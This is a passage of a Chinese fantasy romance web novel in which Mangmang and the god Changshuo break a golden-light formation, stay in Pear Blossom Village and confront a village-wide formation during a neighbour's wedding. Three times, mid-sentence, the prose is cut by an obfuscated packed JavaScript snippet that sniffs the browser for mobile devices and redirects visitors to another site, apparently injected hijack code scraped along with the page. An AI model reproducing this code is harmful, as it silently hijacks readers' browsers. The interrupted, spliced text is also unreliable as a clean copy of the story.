杧杧吓坏了,她缩回手,小心翼翼去看常朔脸色,不过眨眼时间,常朔额头已经冒出细细密密的汗,他的额头、脖子上开始有荆棘一样的黑色疤痕长出。 眼见金线越来越多,阵法就快成了,杧杧顾不了那么多,伸手进乾坤袋就要拿东西。 “不!”常朔忍着疼,抓住杧杧。 他此刻狼狈极了,眼球充满血丝好似下一刻就要爆出来,漂亮的脸皱成一团。 杧杧没说话,她推开常朔的手站起来。她从包里取出一张树皮面具,几乎没有犹豫,杧杧戴上一人千面。 变化只在瞬息间,阵中哪儿还有杧杧身影?取而代之的是一名更高些的飒爽女子,她样貌美艳,目光凌厉,正是南师弥。 现阶段的杧杧正需要一个武力不低且容易掌握,还得有原料的面具,南师弥是最佳人选。 金线一旦缠上身体就会开始疯狂吸□□气,它们像蛛丝一样不断增殖,速度极快。 杧杧护在常朔身前,将试图缠绕过来的金线一一砍断,然而她的冒牌剑没多久就招架不住了,断掉的剑落在地上只剩一丝木屑。 “用这个。”常朔将自己的黑剑递给她。 杧杧接过剑,不得不说,好剑就是不一样。这把又细又长的剑看着脆弱,握着重量却不轻,用起来也十分得劲。 顾不上被金线划伤的痛,杧杧仗着南师弥敏捷的动作和高超的武艺不停地砍,这张一人千面做得不够好,还不知能不能撑过去。 倒霉得突然,杧杧想什么来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059249|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,她渐渐感受到有些力不从心,还能听见脸上细小的碎裂声。不知常朔发生什么,杧杧只能赶在他恢复前尽力保证没有金线近身。 “再坚持一会儿,一会儿就好,再坚持……”杧杧在心里祈祷,别的什么都不敢想,手上更是不敢停,生怕一停下这些金线就要将两个人缠绕吞没。 脸上的裂痕越来越多,握剑也越来越吃力,终于,一人千面彻底碎了,杧杧恢复原样的同时又因反噬喷出口鲜血,一时间她只感到五脏六腑都快被烧烂了,脑袋嗡嗡作响。 金线不停袭来,攻势猛烈,杧杧已经拿不动剑,直接被抽飞。然而不同于预想中的砸落在地,她落入一个结实的怀抱。 “抱歉。”常朔稳稳接住杧杧,他身上的荆棘疤痕已经消失。 常朔在两人身前撑起防护结界,随后口中念咒催动法术。只见方才他在兽头上画的符号显现出来,并且相互之间连接起来围成一个圈。 肉眼可见的金线被牵制住,兽头的咆哮声变得更加凄惨,常朔听了一阵作呕,但还是忍住念完咒语。 “破。” 话音落下,随着一声震天巨响,八个兽头被炸得灰都不剩。 马腹兽头作为阵眼被炸毁了,整个阵法也就崩溃,石室开始以十分惊人的速度坍塌。 常朔忍住心口刺痛,抱紧虚弱的杧杧催动水环离开。 因担心杧杧,常朔想暂时找个近点的地方停下为她治伤,没想到附近正巧是两界交汇处——无边森林。 所有的两界交汇点中心都种有棵神树圣英罗,作为交汇点的能源支撑,外围有结界保护,轻易找不到。 但常朔是谁,这树可是他看着长大的。 无边森林里黑漆漆的,只有圣英罗树周围十里亮堂。常朔将杧杧放在树下靠着,她不知什么时候晕过去,还皱着眉,嘴里迷迷糊糊不知在念什么。 常朔给她整理好头发,开始给她疗伤。 大抵是做工不精,一人千面反噬程度并不严重,中度内伤,给她渡气顺一下,应当问题不大。 这里有结界保护很安全,疗伤过程不会被打扰。 丝丝冰凉的神力进入体内,杧杧只觉躁动的身体平静下来,不再烧得疼,一时间她还以为自己回到北丏山了。 见杧杧脸色好起来,常朔终于松口气。怕一次性渡太多她吃不消,正准备撤回手,突然,杧杧一把抓住常朔手腕。 她抓得紧,无论如何也不放。 常朔心口又开始疼起来,怕无法控制,他强行抽回手,杧杧也顺势倒在他怀里。 “要命。”常朔叹口气,将她摆正重新靠回树上。 她还在昏迷,常朔也需要再调息,不便挪地方,就暂时先待在无边森林里。 常朔在杧杧身边坐下,刚准备好姿势闭上眼,肩上忽而一沉,杧杧倒过来了。他只好先将人摆正,然而不知她是不是故意的,刚摆正没个眨眼的功夫又朝常朔那边倒。 这样他没办法调息,无奈之下,常朔干脆把她放平。 “阿朔。” “嗯?”常朔以为杧杧醒了,垂眸一看还是闭着眼的。这姑娘还梦见他了,常朔扯扯嘴角。 “阿朔,我喜……” 喜?喜什么? 常朔凑近些想听清。 “我心悦你。” 23. 梨花村 杧杧醒来时,发现自己正躺在一间小木屋里。这间木屋很小,一张木床,一个灶台,一只小方桌。屋里只有她一人,身上已经不痛了,她起身叠好被子出门。 院子倒是被收拾得很不错,地面铺了的石板形成一条小路将院子分成两半,一边是整齐堆放杂物和竹篱围成的简单鸡舍,另一边是一套木制桌椅。 杧杧一出门就看见院门口穿着一身粗布衣服的常朔在跟个大娘说话。两人推推搡搡,互相往对方手里塞东西。 推搡好半天,大娘终于拿着几张银票走了,常朔则提着一筐新鲜鸡蛋进来。 “醒了。” “阿朔,我们在哪儿?” “梨花村。” 金光阵不止一处,这也是他们来梨花村的原因。但杧杧又疑惑了,他们总不能每一处都挨个去吧? “当然不。”常朔把鸡蛋收拾好,“其他地方会派其他神兵去。” “哦。” “这两天好好休整,等找到下一处金光阵位置。”常朔嘱托道,想起什么又补充,“在大洲不可随意使用法术,还有切忌再用一人千面。” “知道了。” 就不。 “对了阿朔,你身体好些了吗,先前怎会无缘无故倒下?” 提到这个,常朔沉默了,他想了想才说,“无妨,休息一阵就好了。” “哦。” 杧杧是个自来熟的,从前在北丏山没有邻居,除了纸人和小白,她都没有玩伴。而梨花村不同,挨家挨户离得近,邻里间关系也好,没几天她就能和大家打成一片。 今天帮张家大婶儿喂鸡,明天帮李家大爷晒豆子,有空就去找隔壁阿姐一起下河捞鱼。每日清晨穿着干干净净的衣服出去,晚上就弄一身泥回来。 这姑娘嘴甜人实诚,村民都喜欢她,干啥都乐意叫上杧杧,还时不时给他们送东西。 因为味觉缺失,杧杧也吃不出这些东西的好赖,常朔用它们做的饭还吃得津津有味,她觉得常朔厨艺进步了,至少吃了不会肚子痛。 十月上旬的天,不知梨花村怎么热成这样,好似又来一波秋老虎似的。晚饭过后终于凉快下来,杧杧和常朔坐在院子里聊天。 “阿朔,我在外面跑这么些天,都没发现有金光阵的痕迹。”杧杧咬了口哪家大婶儿送的梨,甜得牙颤。 常朔点点头,他同样也没什么发现。 “对了阿朔,你先前怎么知道金光阵在哪儿?” “他说的。”常朔朝杧杧身后抬抬下巴。 杧杧转头,只见一团火球从天而降,即将落地时又放慢速度,周身火焰都熄灭后才看清,原来是个俊俏少年,却穿得邋里邋遢,不知几日没梳头了,眼底一片青黑,脸色更是蜡黄。 “神君呐!”那少年一落地就扑倒常朔身前,哭的稀里哗啦。 常朔皱起眉,十分嫌恶,本想一脚给他踹开,但瞥见他黑洞似的眼圈,又按耐住。 “你……”常朔欲言又止,“何事?” “神君呐您是不知您不在云中天的日子里我过得有多苦我每日要背十本律法看三千份文书处理两百多个案件苍天呐!神君您快回来吧!” 没错,这个邋遢且悲催的少年正是常朔的神兽,花公子明希。 “叫你查的东西如何了?” “尚无头绪。” 这一脚还是踹了出去。 “神君您不能怪我啊,您这一走重溪宫所有的事都压到我头上,我都没时间见漂亮姑娘了……”最后一句话明希说得小声,显得窝囊极了。 “杧杧,杧杧?你在家吗?” 这时门外响起隔壁王姐姐的声音。 常朔示意杧杧去开门,然后叫明希躲进屋里把自己收拾一下。 “我在家,怎么啦王姐姐?” 王青很不放心似的朝院子里看了眼,却只看到坐在木椅上剥花生的常朔。 “没出什么事吧?”王青一脸担忧,“我听到有动静,过来看看。” “没事的,你应该是听错了。” “这样……哎,大概是我最近准备婚礼太紧张了,老是疑神疑鬼。”王青松口气,又亲昵地抓住杧杧的手,“后天你和你兄长上我家吃酒呀。” “好,我们……” 话还没说完就被打断。明希不知什么时候出新,一手撑着门,手里捏了支花,满眼深情地盯着王青,声音低沉道:“美丽的娘子,不知在下是否有荣幸知道你的名字?” 已经换了身行头的明希干净漂亮许多,杧杧瞧着他比之前在北丏山见到过的那位骚包神仙还更骚气些。 “可……”王青哪里见过这样的。 杧杧赶在明希说出更加惊世骇俗的话之前将他的嘴捂住,跟王青解释道:“王姐姐勿见怪,我表兄脑子不太好使,放心吧后天我们肯定来参加你的婚礼。” 她刻意咬重婚礼二字,果然她说完后,明希就不挣扎了,尴尬地朝王青挥挥手。 送走王青,杧杧这才放开明希。 “小丫头劲儿还挺大。” “你才是小丫头。”杧杧重新回木椅上坐下,继续啃梨。 “臭毛病。”常朔喝口茶,无奈地摇头。 明希被训了也一脸无所谓的样子,他也搬来个凳子在常朔旁边坐下。 “丫头,你这梨给我也来个呗。” “她叫杧杧。有什么事直接说。”常朔说着将方才手里剥完的花生粒递给杧杧,又跟杧杧介绍,“明希。” “你好。”杧杧礼貌打招呼。 “你好。”明希一副踩到屎的表情,他看看常朔又看看杧杧,砸吧砸吧嘴开始汇报,只是心里已经炸开锅,看来越沨说得一点不错嘛,云中天不知道多少女神们要伤心难受了。 万年铁树常朔有朝一日居然开了花!从前哪儿见过他常朔亲手给人剥花生?商量事情也不用她回避,而且对方还是个小姑娘?为老不尊呐神君! 杧杧在旁边安静听完,想起来一件事,于是开口:“王姐姐跟我讲过,三年前村里发生过一件怪事。 “何大娘家的女儿和隔壁村的男子半夜出去幽会,结果掉到井里,次日早上回来的时候整个人变得很木讷,不说不笑也不吃饭,就呆呆地坐在窗边,望着那口井的方向。” “隔壁男子呢?”明希觉着稀奇。 “他没有回去。” “那女子如今怎样?” “我不知道,那之后没多久何小姐就消失了。” “凭空消失?” “好像是吧,王姐姐没有说太仔细。”杧杧说完又去征询常朔意见,“阿朔你怎么看?” “我去何家看看,明希去查查那口井。后日月圆,金光阵应当会开。” “是。”明希刚应下又有些疑惑,“月圆夜阳气最盛,金光阵怎会在那时开?” “阵眼是马腹首,你觉得呢?” 明希反应过来,马腹最喜阳气重的人,然而一整个村镇的人不可能全都如此,所以选个阳气重的日子。 后日?后日正好是王青成亲的日子。杧杧吃完手里的花生,若有所思。 次日一早,杧杧就跑去隔壁帮忙布置婚房。新郎官是入赘到王家的,婚礼自然也在王家办。 杧杧转悠半天,发现没什么适合自己做的,便进屋找王青。两姑娘贴在一起选首饰。 “这个好看吗?”王青拿起一只金簪往头上比划。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059250|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好看。” “这个呢?”她又拿起另一只稍大些的金簪。 “好看。” “这个?”这回拿的是对嵌翡翠的步摇。 “也好看。” “哎呀杧杧,我戴什么你都说好看,怎么不干脆让我把这箱子珠翠全戴头上?” “我说的是实话呀,王姐姐就是戴什么都好看。”杧杧笑盈盈地望着她,王姐姐一定是她见过的除了南师弥和白笙之外最好看人了。 王青笑得合不拢嘴,直夸他嘴甜,临走时又给她塞了许多喜糖。 喜糖很甜,杧杧吃一个就得喝半杯水。常朔不吃糖,她就只给明希和南师弥各留了一颗,虽然不知何时才能再见到南师弥,然后还给远在不知何地的木秋宜也留了一颗。 这样分完,她一天吃一颗糖,剩下的还能吃半个多月。杧杧刚走出王家大门,正盘算着没注意看路,冷不丁被绊了下。她垂头一看,是个小孩蹲在石板路中间,手里拿木炭不知在画什么。 本想让他小心些,结果那小孩也不理人,只是退到下一块石板上接着画。小而已孩,杧杧也没太在意。 村子另一头的何家因长久没人居住,已经破败不堪。 问了周边邻居,原来自从何小姐消失后,何家夫妇也搬走了。村民们谈到何家都十分忌讳,怕沾上什么不好的东西似的,常朔只好自己进屋查看。 屋内挂满蛛丝,没一处不落灰尘。除了些带不走的家具,没什么特别的。 就当常朔准备离开时,他在窗台边发现一撮棕毛。跟之前在妖宫书房里发现的一样,只是这撮毛有一小部分看起来旧,另一部分很新。 这显得十分刻意,就好像……有人故意放在这儿,笃定他一定会看到似的。 - 晚饭后,杧杧问起常朔,“阿朔,你说成亲是什么感觉?” 她看的那本《人间怨偶集》里就没有主角成了亲的,隔壁王青今年二十三,村里大娘都说王家父母疼女儿,这么大年纪才谈婚论嫁,还是招的赘婿。 “你问这个做甚?” “好奇啊。”杧杧说着不禁脸红,今天见到王青,她很激动的模样,要是哪天自己和常朔成亲,定会比她还激动千万倍。 “你年纪尚轻,不着急。” “好吧。” 想着想着,杧杧反应过来一个她之前都忽略掉的问题。王姐姐告诉她,成亲要先订婚,她还不知道常朔有没有同旁人定亲,便贸然跟他表明心意,这么做好像不太合适,于是她又问。 “阿朔你呢?” “什么?” “你订婚了吗?” 常朔差点把茶喷出来,好在他憋住了,只是被水呛得咳嗽几声,“你成日都在想些什么?” “有吗?” “尚未。” “好的我知道了。”杧杧又笑起来,“对了阿朔,我还要同你讲一件事。” “讲。” 杧杧深深呼吸一口气,“我喜……” “杧杧。”常朔现在有些怕听到那几个字了。 “怎么了?王姐姐说对喜欢的人就要时时告诉他自己的心意,最好每天都说一遍,这样对方才会明白。” 常朔叹口气,她每天都跟别人聊什么奇怪的话题呢?但又不能阻止她交朋友。 “我明白,你不用日日都跟我说。”他真的会受不住。 “好吧。”杧杧有那么一两分落寞,同时也松口气,要她每日都表白,说实在的,还挺害羞。 “阿朔你怎么脖子那么红,耳朵也是红的,今天不热啊?” 常朔握紧拳,“许是我穿得多。不早了,早些睡吧。” 说完便起身出门。 24. 食人魔 就是招赘的婚仪,梨花镇的人们也喜欢办得热热闹闹,他们看来是婚礼就该喜庆。 一大早,热闹的迎亲队伍就将新郎接到王家。 王青梳妆打扮好端坐在房里,杧杧陪着她。外头欢天喜地,屋里头却是一个紧张一个兴奋,干坐着大眼瞪小眼。 杧杧头一回参加婚礼,心中欢喜在所难免,但她心里还盘算着一件事,常朔说金光阵可能在今天开,但明希还没从井底出来,不知金光阵是否就在井底。 “怎么了?”王青问,“有心事吗?” “没,我紧张。”她抬头看着一脸笑意的王青,暂时压下心中的不安。 “我这个新娘还没紧张呢。” 杧杧不好意思地笑笑。 “诺,紧张就吃糖。”王青又给她递了两颗糖。 剥开糖纸塞一颗进嘴里,甜滋滋的味道充斥整个口腔,许是这糖太甜,紧张还真压下去不少。 只希望不要出什么差错才好。 说来王青和她丈夫相识于微,感情深厚。转眼到了谈婚论嫁的年纪,但男方家境困窘,久久凑不出聘礼。王青又是家中独女,父母舍不得女儿,将好男方也愿意入赘,婚事就这么成了。 迎亲队伍锣鼓喧天地来了,新郎下轿,跨火盆、祭祖先、听赘书、改口敬茶,之后便是拜堂成礼。正席设在晚上,午饭就比较简单。 下午新人要去村里的土地庙祈福,梨花村的人们信奉土地神,播种丰收、过年过节、结亲生子都要去土地庙祭拜祈福。 杧杧抽空回了趟木屋,常朔没在。木屋有两间房,她偷摸溜进常朔那间房,在床上翻找一通,愣是没找到一根头发丝。 “阿朔都不掉头发的吗?”杧杧心中疑惑。 她都还会偶尔掉头发呢,掉下来的头发都变成银叶子被她收集起来,每次要用时不用另拔。 根据上一个失败的一人千面总结出的经验,头发是最好用的。 虽然常朔不准她再用,但杧杧哪能听。在梨花村这些天,她也不是每天都在外面疯玩的,除了探查村子里的情况,就是躲着常朔做了个新的一人千面。 常朔当然也没闲着,下界活剥生魂案频发,却一直找不出始作俑者,云中天又开始忙起来。 其实这事本该阙京管,谁知她刚好去异界办事,抽不开身回来,别的神官又都有自己的事情要忙,差事自然就落到常朔头上。 找了半天一无所获,杧杧只好又偷偷从房里出来,没有头发她还有其他常说的物件,况且除了常朔,她还有另一位仁兄的头发。 晚间正席开宴,杧杧跟常朔没在一桌,两人用水环沟通,是以她没太在意周围情况。 “明希哥有回来吗?” “尚未。”说起这个常朔也疑惑,按理说明希应当回来了,就算金光阵真的在井里,也该清理完回来了。 杧杧还想再说什么,突然感到自己的脚边有什么东西在动,她低头微微掀开桌布一看,原来是个乱糟糟的脑袋。 那团小小的身影蹲在地上不知在干嘛,用手一直推杧杧的腿。 杧杧退开一些,这时才看清,原来那个小孩正拿着木炭块在地面的石板上写画,她仔细一看,这不就是先前在王青家门口遇到的那个小孩? 她刚想开问问他在干嘛,却在看到他衣领后脖子上的血斑时止住。 “阿朔,除了气味,还有没有其他方法能辨别活死人?” “血斑。活死人虽然肉身没死,但失去灵魂难免身体会有变化。” 想起常朔的话,杧杧看这小孩的眼神变了。 “阿朔,我这桌桌底下有个小孩,他是活死人。”接着杧杧又讲了昨天碰到他的情景。 常朔听后面色凝重,他抬头看了眼天,突然反应过来什么,“糟了。” “出什么事了?”杧杧听得心里一紧。 “你先待在这儿,保护好自己。”常朔飞快说完就朝她走来,“长天留给你。” “长天”是常朔那把黑剑的名字。 “你怎么办?” “别担心。”常朔犹豫着,还是把手放到她头上,轻轻揉了揉,“我不会有事。” 说完他就离开。 “咦,杧杧,你兄长干什么去呀?” 两人对话都是用水环,长天剑也是直接塞到乾坤袋中,是以在周围人看来,就是常朔突然跑过来,一句话没说,只是摸摸杧杧的头之后又匆忙离开。 “啊,他想起来晒的衣服没收。” “什么衣服不能吃完饭收,跑那么着急?” “哈哈,我兄长他性子比较急。”杧杧只好尬笑着胡乱解释,又低头吃饭。 这一打岔桌下的小孩就不知跑哪儿去了。 杧杧抬头看了眼天,乌云渐渐退开,露出一轮圆月当空,她没什么心思吃了,随便扒拉两口就提前离席。 她本想找找那小孩在哪儿,谁知刚走没几步,地面突然剧烈震动起来。 “地震了!” 原本吃席的村民全都被这突如其来的地震吓得慌了神,纷纷抛下手中碗筷朝外面跑去,有人顺带捎上桌上的酒,有人多往嘴里塞了几片肉才跟着推推搡搡地逃命。 震动没过多久便停下,众人也纷纷停下脚步,刚准备再返回去时,震动又开始了。 与此同时,村镇中心的位置,突然发出一道直直的光线通向天际,那束光升到一定高度后,天空倏尔发出一声沉闷的轰响,紧接着以光线为中心,一道结界开始在空中扩展开来。 “那是什么?” “是啊,是什么?从来没见过啊?” “那束光貌似是从土地神庙里冒出来的!” 村中心的位置,是一座供奉土地神的庙宇。 震动越来越剧烈,房屋不堪承受已经开始倒塌,人们四处逃窜,叫喊声此起彼伏。梨花村恐怕一百年也难有这样一次地震,是以大家一时间都慌了神。 “有妖怪!有妖怪!大家快逃啊!” 不知是谁高声大喊这一句,场面陷入极度混乱。 “杧杧,带村民去村口。”常朔的声音在脑中响起,“保护好自己。” “好!我知道了。” 结界成型很快,没一会儿就将整个村子包裹着。慌乱间,杧杧一面寻找王青身影,一面帮忙疏散人群,尽量让逃跑的村民保持秩序。 “王姐姐!王姐姐!” 方才宴席上还见王青和她丈夫忙着招呼客人,这会儿却不见人。 终于震动停止了,杧杧心里却没有放松下来,一切来得太突然,她有预感情况可能会更糟。 果然下一瞬,远处传来阵阵咆哮声,刚开始听不真切,渐渐的,声音越来越大。 杧杧没找到王青,倒是在路边捡到两个跟家里人走散的小孩,她也不能放着他们不管,于是抓起那两个小孩的手带着他们跑。 出村的路已经被结界封住,村民全都堵在那儿,哭天喊地却没有丝毫办法。 “造孽啊!” “是啊,到底怎么回事啊?” “让我们出去!” “妖怪,放我们出去!” “……” “娘亲,我怕。” “娘在这儿,不怕不怕……” 无暇顾及村民的哭喊,杧杧把两小孩交给村里隔壁张大婶后,又掉头往回跑去,应当还有没逃出来的人。 “杧杧,你又回去干啥?”张大婶惊魂未定,气儿还没缓过来,见杧杧往回跑,赶紧问。 “我去找其他人。” 说完头也不回地就跑了。 好在今晚村里人都去王家吃席,留在自己家的人不多,少有被压在废墟下的。而落在后面的多是老人,腿脚不好跑得慢,在人群中被推着挤着,路上摔一跤都没人知道。 杧杧来回跑了好几趟,中途还有鼓起勇气跟她一起回去救人的,梨花村说大也不大,他们分头行动,没多久村里人基本上都聚在村口了。 然而这群人里始终没有王青夫妇,杧杧只好又返回朝王家跑。 地倒是不再震了,就是那咆哮声越来越大,天也越来越亮,真是奇了。杧杧边跑边抬头看,谁知这一眼到让她停下脚步。 结界应是被施了某种法术,与成型时方向不同,这回从下往上开始,结界内侧向开花似的有灵光闪现,并且这些灵光闪过的地方不再透明,而是变得能反射出地面景象。 灵光不断延展,就像一面巨大的铜镜! 不仅是结界,路面上竟开始以一种极快的速度裂开,裂口处还冒着金光。她蹲下来仔细观察一番,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059251|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现裂缝处残留有有少量不易发现的木炭粉。 突然想到什么,杧杧从包里找出几根头发,她腾云学的不好,简单飞一下还是可以的,就是需要借助点工具。 那几根头发在掌中变成银叶子,杧杧默念咒语,随后将叶子抛向半空,整个人腾空跃起,踩着空中叶片逐级往上。高度差不多时,她在空中稳住身形俯视村落。 地面上的裂缝多而密,乍一看觉得杂乱,仔细瞧着却是有规律的排布,每条裂缝从村子边缘向内延伸,每两条汇集在一个地方后合并成新的一条更大些的裂缝,如此往村子中心的方向汇集起来,形成一张阵法图。 还有突然出现的咆哮声,难怪她觉着熟悉,不就是先前在金光阵里听到的那个吗? 原来金光阵根本不在井里,整个村子就是金光阵! 可是兽头呢?阵眼需要兽头,兽头在哪儿? 杧杧抬头环顾四周,果真在村子周围一圈发现八个凭空冒出的石雕兽头,方才的地震想必也是这些兽头引起的。 结界上铜镜尚未完全形成,一定要赶在阵成之前就将其毁掉,也不知常朔现在情况如何。 杧杧落地后先去了趟王家,里里外外都找遍了也没见着王青,或许他们并不在这儿?抱着这个侥幸心理,杧杧又一刻不停地往土地庙方向去。 路不远且杧杧跑得快,没一会儿就跑到土地庙。这间寺庙大门已经被彻底损毁,两侧厢房也塌地差不多了,中间神殿却还好好的。 光束就是从神殿屋顶上方发出,殿门紧闭,杧杧不清楚里面情况,不敢贸然冲进去。 犹豫着刚踏出一步,脑中骤然响起常朔的声音。 “杧杧,别进去。” “阿朔?你在哪儿?” “遇到点麻烦。”常朔声音听起来没什么起伏变化,“王青夫妇在右侧厢房。” “阿朔,你自己能搞定吗?” “嗯。” “好,我先带他俩离开。” “杧杧。”常朔又叫住她。 “怎么了?”杧杧心里咯噔一下,总觉得常朔接下来说的话可能会让她无法承受。 “他们,已经变成活死人了。” 这句话犹如晴天霹雳,砸得杧杧猝不及防。 虽然相处时间不多,但王青待她如亲妹妹一般,有什么好吃的好玩的总是第一个想到她。 一个时辰都没有吧?明明刚才还是两个活生生的人,一对新婚夫妻,如何就变成活死人了? “金光阵不是还没成型吗?” 常朔暂时没解释,只说:“你先离开。” 杧杧点点头,迫使自己镇定下来,往右厢房找去。塌陷的房顶和墙面构成的一个三角区里,她找到了王青夫妇。 两人并肩靠在一起,新郎已经被房梁砸的面目全非,半个身体都在废墟下。 王青运气好没被砸到,她表情呆滞地直视前方,原本大红的喜服沾染上灰尘和泥土,变得脏兮兮。 “王姐姐。”她下意识喊出口。 可王青没有任何反应。 杧杧抬手替她擦去脸上的灰,又将衣服帮她整理好。新郎的肉身已死,没有救的必要了,杧杧打算只带王青走。 她双手托住王青肩膀,想把她拉出去。谁知只迈出一步后就再也动不了,她低头一看,原来是两人的手死死地交握住。 杧杧上前想把他俩的手分开,奈何两人攥的紧,她努力半天也没有一点松动的迹象。 “王姐姐你放手,放手好吗?” 王青依然呆呆的,只是手好像攥的更紧了。 杧杧看这她如今的模样,忽然鼻头一酸。也就在这时,腰间的乾坤袋被打开,一只雪白的兔子从里面跳出来。 “小白听话,快回去,现在不是胡闹的时候。” 杧杧摸摸它毛茸茸的脑袋,,想直接把它抱起来装回去,谁知这只兔子灵活地躲开往外跑去。 “小白回……” 话没说完,因为就在她眼前,小白颤抖着身体从一只小肥兔子变成一丈多高的大肥兔子。 肥兔子推开废墟,俯下身用两只长长的耳朵托起废墟里的两人往背上放稳妥后,又把呆愣的杧杧也托到背上。 “好小白。”杧杧赞赏地拍拍它,“带我们去村口。”